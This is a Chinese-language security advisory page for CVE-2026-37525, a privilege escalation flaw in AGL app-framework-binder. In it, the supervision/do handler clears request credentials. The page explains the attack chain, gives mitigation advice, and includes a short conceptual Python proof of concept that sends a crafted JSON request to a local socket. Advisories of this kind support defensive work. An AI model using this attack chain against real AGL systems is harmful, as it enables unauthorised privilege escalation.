IPBUF安全漏洞报告
English
CVE-2026-37525 CVSS 7.8 高危

CVE-2026-37525 AGL app-framework-binder权限提升漏洞

披露日期: 2026-05-01

漏洞信息

漏洞编号
CVE-2026-37525
漏洞类型
权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
AGL app-framework-binder (afb-daemon)

相关标签

权限提升本地提权AGLapp-framework-binderCVE-2026-37525

漏洞概述

AGL app-framework-binder (afb-daemon) 在 v19.90.0 及之前版本中存在权限提升漏洞。该漏洞位于 supervision Do 命令的处理逻辑中。在分发攻击者控制的 API 调用之前,`on_supervision_call` 函数显式地将请求凭证置空。由于受影响的 API 通常依赖 `context->credentials` 进行授权决策,当接收到 NULL 凭证时可能会“开放失败”,从而导致低权限攻击者能够以更高权限执行任意注册的 API,进而实现本地权限提升。

技术细节

该漏洞核心在于 `src/afb-supervision.c` 中的 `on_supervision_call` 函数。当处理监管命令时,代码调用 `afb_context_change_cred(&xreq->context, NULL)` 将请求上下文中的凭证显式设为 NULL。随后,系统通过 `xapi->itf->call` 执行由攻击者通过 JSON 参数控制的 API 和动词。由于凭证被清空,NULL 值传播至目标 API 的执行环境。如果目标 API 在进行权限检查时未正确处理 NULL 凭证(即未拒绝 NULL 凭证),而是默认允许访问,攻击者即可绕过原有的安全限制,利用低权限账户调用需要高权限的敏感接口,从而实现提权。该问题自 2018 年 2 月的特定提交引入。

攻击链分析

STEP 1
1. 获取访问权限
攻击者获得目标系统的本地低权限访问能力(PR:L)。
STEP 2
2. 构造恶意请求
攻击者构造包含恶意 JSON 数据的请求,指定 'supervision/do' 命令,并在其中设定想要调用的特权 API 和动词。
STEP 3
3. 触发漏洞
请求发送至 afb-daemon,触发 `on_supervision_call` 函数,该函数调用 `afb_context_change_cred` 将凭证置为 NULL。
STEP 4
4. 绕过授权
系统分发攻击者指定的 API 调用,目标 API 接收到 NULL 凭证。由于逻辑缺陷(Fail-Open),API 错误地授权了该请求。
STEP 5
5. 执行提权
攻击者成功以高权限执行了原本受限的 API 操作,完成权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Conceptual PoC for CVE-2026-37525 # This PoC demonstrates sending a crafted supervision request # to trigger the credential nullification issue. import socket import json def exploit_poc(host, port): # Targeting the vulnerable supervision/do endpoint # The 'api' and 'verb' fields are controlled by the attacker payload = { "id": 1, "request": "supervision/do", "api": "privileged_api", # Attacker controlled target API "verb": "sensitive_action" # Attacker controlled verb } try: print(f"[*] Connecting to {host}:{port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Serialize payload and send message = json.dumps(payload) + "\n" s.send(message.encode('utf-8')) print(f"[*] Sent payload: {message.strip()}") # Receive response response = s.recv(1024) print(f"[+] Server response: {response.decode('utf-8')}") except Exception as e: print(f"[-] Exploit failed: {e}") finally: s.close() if __name__ == "__main__": TARGET_IP = "127.0.0.1" TARGET_PORT = 1234 # Default port for AFB binding exploit_poc(TARGET_IP, TARGET_PORT)

影响范围

AGL app-framework-binder (afb-daemon) <= v19.90.0

防御指南

临时缓解措施
建议立即升级 AGL app-framework-binder 到修复版本。若无法立即升级,应严格限制对守护进程端口的访问,确保仅受信任的应用程序可以与其通信,并部署监控系统以检测异常的 API 调用模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表